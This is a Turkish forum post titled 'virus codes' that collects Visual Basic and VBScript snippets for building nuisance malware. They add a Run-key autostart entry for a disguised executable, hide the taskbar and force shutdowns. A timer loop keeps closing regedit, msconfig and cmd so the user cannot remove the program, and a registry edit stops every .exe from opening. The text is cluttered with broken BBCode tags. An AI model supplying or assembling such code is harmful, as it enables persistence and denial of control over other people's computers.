Virüs Kodları

[b][/color][color=#FFA500]Set Startup = CreateObject("WScript.Shell")
Startup.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Winlogon", "c:\windows\mrss32.exe"

[/b][/color][color=#C71585]Başlat Çubuğunu Gizleme 

[code][/color][color=#2F4F4F][/b]Option Explicit
Private TaskBar As Long, Icons As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function ShowWindow Lib "user32.dll" (ByVal hWnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function MoveWindow Lib "user32" (ByVal hWnd As Long, ByVal x As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal bRepaint As Long) As Long
Private Declare Function GetWindow Lib "user32" (ByVal hWnd As Long, ByVal wCmd As Long) As Long
Private Sub Command1_Click()'gizle
    ShowWindow TaskBar, 0
End Sub
Private Sub Command2_Click()'göster
    ShowWindow TaskBar, 4
End Sub
Private Sub Form_Load()
    TaskBar = FindWindow("Shell_TrayWnd", vbNullString)
End Sub



[b][/color][color=#4682B4]Pc açma res attırma kodu 

[code][b][color=#9370DB]Kapatma Kodu ; Shell ("shutdown -s -t 1")


Reset Attirma Kodu ; Shell ("shutdown -r -t 1")

[/b][/color][color=#FF0000]Cd Romu Aç

[code][b][/color][color=#FF4500]Private Declare Function mciExecute Lib "winmm.dll" (ByVal lpstrCommand As String) As Long

Private Sub Command1_Click()
mciExecute ("Set CDAudio door Open")
End Sub

[/b][/color][color=#1E90FF]Çoklu Engelleme : 

[code][b][/color][color=#483D8B]Modül aç içine bu kodu yapıştır :


Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As Long) As Long 

Declare Function sendmessagebystring Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long 

Declare Function getwindow Lib "user32" Alias "GetWindow" (ByVal hwnd As Long, ByVal wCmd As Long) As Long 

Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long 

Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long 

Public Const WM_CLOSE = &H10 

Public Const GW_CHILD = 5 

Public Const GW_HWNDFIRST = 0 

Public Const GW_HWNDLAST = 1 

Public Const GW_HWNDNEXT = 2 

Public Const GW_HWNDPREV = 3 

Public Const GW_MAX = 5 

Public Const GW_OWNER = 4 

'************************************** 

' Name: Close a window(if you know part 

' of the title) 

' Description:This code closes a window, 

' if you know part of it's title. It uses 

' some AOL API's, hehe(sendmessagebystring 

' ). I used it for closing Netscape window 

' s because the "Window Class Name" always 

' changed. Not sure if this code has any u 

' se though... 

' By: Che 

' 

' Assumes:1. The title, or part of the t 

' itle. 

'2. A form named "Form1", or you could change the code a little 

' 

'This code is copyrighted and has' limited warranties.Please see http://w 

' ww.Planet-Source-Code.com/vb/scripts/Sho 

' wCode.asp?txtCodeId=5499&lngWId=1'for details.'************************************** 

Function FindWindowByTitle(Title As String) 

Dim a, b, Caption 

a = getwindow(frmMain.hwnd, GW_OWNER) 

Caption = GetCaption(a) 

If InStr(1, LCase(Caption), LCase(Title)) <> 0 Then 

FindWindowByTitle = b 

Exit Function 

End If 

b = a 

Do While b <> 0: DoEvents 

b = getwindow(b, GW_HWNDNEXT) 

Caption = GetCaption(b) 

If InStr(1, LCase(Caption), LCase(Title)) <> 0 Then 

FindWindowByTitle = b 

Exit Do 

Exit Function 

End If 

Loop 

End Function 

Function GetCaption(hwnd) 

Dim hwndLength%, hwndTitle$, a% 

hwndLength% = GetWindowTextLength(hwnd) 

hwndTitle$ = String$(hwndLength%, 0) 

a% = GetWindowText(hwnd, hwndTitle$, (hwndLength% + 1)) 

GetCaption = hwndTitle$ 

End Function 

Sub KillWin(Title As String) 

Dim a, hwnd 

hwnd = FindWindowByTitle(Title) 

a = sendmessagebystring(hwnd, WM_CLOSE, 0, 0) 

End Sub


Ardından timer aç intervalını 10 yap içine şu kodu gir (regediti kapamak için)

KillWin("regedit.exe")

orda killwin("regedit.exe") yazdım sen oraya
killwin("msconfig.exe") yazarsan msconfigi engeller
cmd.exe yaz cmd engeller 

[/b][/color][color=#FFD700]Dosya Kopyalama : 

[code][b][/color][color=#4B0082]FileCopy "kopyalanacak dosya adres",kopyalananın gideceği adres ""

[/b][/color][color=#483D8B]Tüm .exe engelleyin engeli kaldırın : 

[code][b][/color][color=#FF4500]Private Sub Command1_Click()
Dim reg
Set reg = CreateObject("WScript.Shell")
reg.RegWrite "HKCR\exefile\shell\open\command\", "Nytro"
End Sub

Private Sub Command2_Click()
Dim reg
Set reg = CreateObject("WScript.Shell")
reg.RegWrite "HKCR\exefile\shell\open\command\", Chr(34) + "%1" + Chr(34) + " %*" 
End Sub 

[/color][/b]